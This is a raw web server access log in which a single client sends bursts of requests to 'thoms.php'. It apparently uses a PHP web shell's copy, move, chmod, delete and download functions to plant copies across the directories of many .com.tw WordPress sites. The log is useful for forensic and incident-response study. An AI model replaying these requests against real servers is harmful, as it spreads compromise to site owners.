45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 11411 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 11853 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 11335 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:13 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17475 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 11333 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 11312 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17476 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22788 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19387 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22779 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:14 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fupgrade HTTP/1.1" 200 11302 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-content HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2F.well-known HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fclient-global HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19390 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13115 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 200 11401 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22788 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22761 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22825 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:15 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?p=&view=thoms-20260912023711.php HTTP/1.1" 200 11784 "http://163.245.207.76:443/thoms.php?p=&view=thoms-20260912023711.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22820 "https://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 13116 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?chmod=thoms-20260912023711.php&p= HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?chmod=thoms-20260912023711.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms-20260912023711.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms-20260912023711.php?p= HTTP/1.1" 200 22783 "https://163.245.207.76/thoms-20260912023711.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?del=thoms-20260912023711.php&p= HTTP/1.1" 200 22787 "http://163.245.207.76:443/thoms.php?del=thoms-20260912023711.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms-20260912023711.php&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=thoms-20260912023711.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?dl=thoms-20260912023711.php&p= HTTP/1.1" 200 22789 "http://163.245.207.76:443/thoms.php?dl=thoms-20260912023711.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:16 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fcgi-bin HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 200 11835 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17501 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwrapper-global HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fwrapper-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fsegment-sample HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fsegment-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fupgrade HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11852 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20572 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11400 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:17 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 20599 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:18 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
